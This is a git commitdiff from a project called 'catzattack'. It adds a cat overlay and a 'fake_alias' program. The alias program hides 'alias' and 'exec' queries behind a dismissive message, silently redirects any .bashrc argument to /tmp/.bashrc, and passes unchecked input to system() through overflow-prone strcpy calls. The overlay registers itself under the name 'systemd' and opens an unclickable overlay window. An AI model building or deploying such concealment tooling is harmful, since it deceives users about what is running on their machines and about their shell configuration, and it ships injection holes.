]> git.ayabusa.dev Git - catzattack.git/commitdiff
fake alias implementation main
authorAyabusa <lebgpub@gmail.com>
Mon, 23 Feb 2026 20:57:30 +0000 (21:57 +0100)
committerAyabusa <lebgpub@gmail.com>
Mon, 23 Feb 2026 20:57:30 +0000 (21:57 +0100)
alias/Makefile [new file with mode: 0644]
alias/fake_alias [new file with mode: 0755]
alias/main.c [new file with mode: 0644]
default.nix [new file with mode: 0644]
firmware.bin [new file with mode: 0755]
overlay/default.nix [new file with mode: 0644]
overlay/res/main
overlay/result [new symlink]
overlay/src/main.c
overlay/src/real_oneko.gif [new file with mode: 0644]
overlay/src/sample.gif [new file with mode: 0644]

diff --git a/alias/Makefile b/alias/Makefile
new file mode 100644 (file)
index 0000000..1ac7188
--- /dev/null
@@ -0,0 +1,9 @@
+SRC = main.c
+OUT = fake_alias
+CFLAGS = -Wall -Wextra -g -fsanitize=address
+
+all: $(SRC)
+       $(CC) $(CFLAGS) $(SRC) -o $(OUT)
+
+clean:
+       $(RM) $(OUT)
diff --git a/alias/fake_alias b/alias/fake_alias
new file mode 100755 (executable)
index 0000000..063b1c9
Binary files /dev/null and b/alias/fake_alias differ
diff --git a/alias/main.c b/alias/main.c
new file mode 100644 (file)
index 0000000..a98c902
--- /dev/null
@@ -0,0 +1,38 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+int main (int argc, char **argv) {
+       //printf("argc = %d", argc);
+       if (argc < 2) {
+               printf("Error: at least one argument is required\n");
+               return 1;
+       }
+       // check for alias or exec
+       if (strstr(argv[1], "alias") || strstr(argv[1], "exec")){
+               printf("There is nothing to see here, beggar off...\n");
+               return 0;
+       }
+
+       // Handle only the command
+       if (argc == 2) {
+               system(argv[1]);
+               return 0;
+       }
+       char *rep_file = "/tmp/.bashrc";
+       char command[500] = {'\0'};
+       strcpy(command, "/bin/"); // Prefix of the command
+       // We filter any .bashrc and replace it by our own
+       for (int i=1; i<argc; i++) {
+               if (strstr(argv[i], ".bashrc") != NULL){
+                       strcpy(command + strlen(command), rep_file); // replace by our copy
+               }
+               else{
+                       strcpy(command + strlen(command), argv[i]); // let the original
+               }
+               command[strlen(command)] = ' ';
+       }
+       // printf("Launching: %s\n", command);
+       system(command);
+       return 0;
+}
diff --git a/default.nix b/default.nix
new file mode 100644 (file)
index 0000000..7cce86c
--- /dev/null
@@ -0,0 +1,18 @@
+# simple.nix
+let
+  pkgs = import <nixpkgs> { };
+in
+  pkgs.stdenv.mkDerivation {
+    name = "hello-nix";
+
+    src = ./.;
+
+    buildPhase = ''
+      $CC simple.c -o hello_nix
+    '';
+
+    installPhase = ''
+      mkdir -p $out/bin
+      cp hello_nix  $out/bin/hello_nix
+    '';
+  }
\ No newline at end of file
diff --git a/firmware.bin b/firmware.bin
new file mode 100755 (executable)
index 0000000..931bb88
Binary files /dev/null and b/firmware.bin differ
diff --git a/overlay/default.nix b/overlay/default.nix
new file mode 100644 (file)
index 0000000..ebd9cc9
--- /dev/null
@@ -0,0 +1,32 @@
+# simple.nix
+let
+  pkgs = import <nixpkgs> { };
+in
+  pkgs.stdenv.mkDerivation {
+    name = "catz-attack";
+
+    src = ./src/.;
+
+    buildInputs = [ 
+      pkgs.pkg-config
+      pkgs.sdl3
+      pkgs.sdl3-image
+      pkgs.xorg.libX11
+      pkgs.xorg.libXext
+      pkgs.xorg.libXrender
+      pkgs.xorg.libXcomposite
+      pkgs.xorg.libXcursor
+      pkgs.libxfixes
+    ];
+
+    buildPhase = ''
+      echo $CC main.c neko.c -I ./ -o catz-attack $(pkg-config --cflags --libs sdl3 x11 xfixes sdl3-image) -lm
+      $CC main.c neko.c -I ./ -o catz-attack $(pkg-config --cflags --libs sdl3 x11 xfixes sdl3-image) -lm
+    '';
+
+    installPhase = ''
+      mkdir -p $out/bin
+      cp real_oneko.gif sample.gif $out/bin/
+      cp catz-attack  $out/bin/catz-attack
+    '';
+  }
\ No newline at end of file
index f9ac07c1c2709fa43154de7ceb32584c7a109389..2ef72cda9b2eab2c2ca9d00db0e73855b3bde890 100755 (executable)
Binary files a/overlay/res/main and b/overlay/res/main differ
diff --git a/overlay/result b/overlay/result
new file mode 120000 (symlink)
index 0000000..e97c5f3
--- /dev/null
@@ -0,0 +1 @@
+/nix/store/115rxak3fbaqs4xfglndd333z44bx6lk-catz-attack
\ No newline at end of file
index a64bf3e01fc0e194df71b926ef4bb4c205a2a74b..0a211a8d1ed7b4628e1b874ae9164e27c98f78cf 100644 (file)
@@ -68,6 +68,7 @@ SDL_AppResult SDL_AppInit(void **appstate, int argc, char *argv[])
     char *gif_path = NULL;
 
     SDL_SetAppMetadata("systemd", "1.0", "org.kernel.systemd");
+    SDL_SetHint("SDL_VIDEO_X11_VISUALID", "argb");
 
     if (!SDL_Init(SDL_INIT_VIDEO)) {
         SDL_Log("Couldn't initialize SDL: %s", SDL_GetError());
@@ -95,9 +96,10 @@ SDL_AppResult SDL_AppInit(void **appstate, int argc, char *argv[])
         return SDL_APP_FAILURE;
     }
 
+    SDL_SetRenderDrawBlendMode(renderer, SDL_BLENDMODE_BLEND);
     make_window_clickthrough();
     set_override_redirect();
-    SDL_SetDefaultTextureScaleMode(renderer, SDL_SCALEMODE_PIXELART);
+    //SDL_SetTextureScaleMode(renderer, SDL_SCALEMODE_LINEAR);
 
     neko_init(renderer, window);
 
diff --git a/overlay/src/real_oneko.gif b/overlay/src/real_oneko.gif
new file mode 100644 (file)
index 0000000..8f17625
Binary files /dev/null and b/overlay/src/real_oneko.gif differ
diff --git a/overlay/src/sample.gif b/overlay/src/sample.gif
new file mode 100644 (file)
index 0000000..a39bce5
Binary files /dev/null and b/overlay/src/sample.gif differ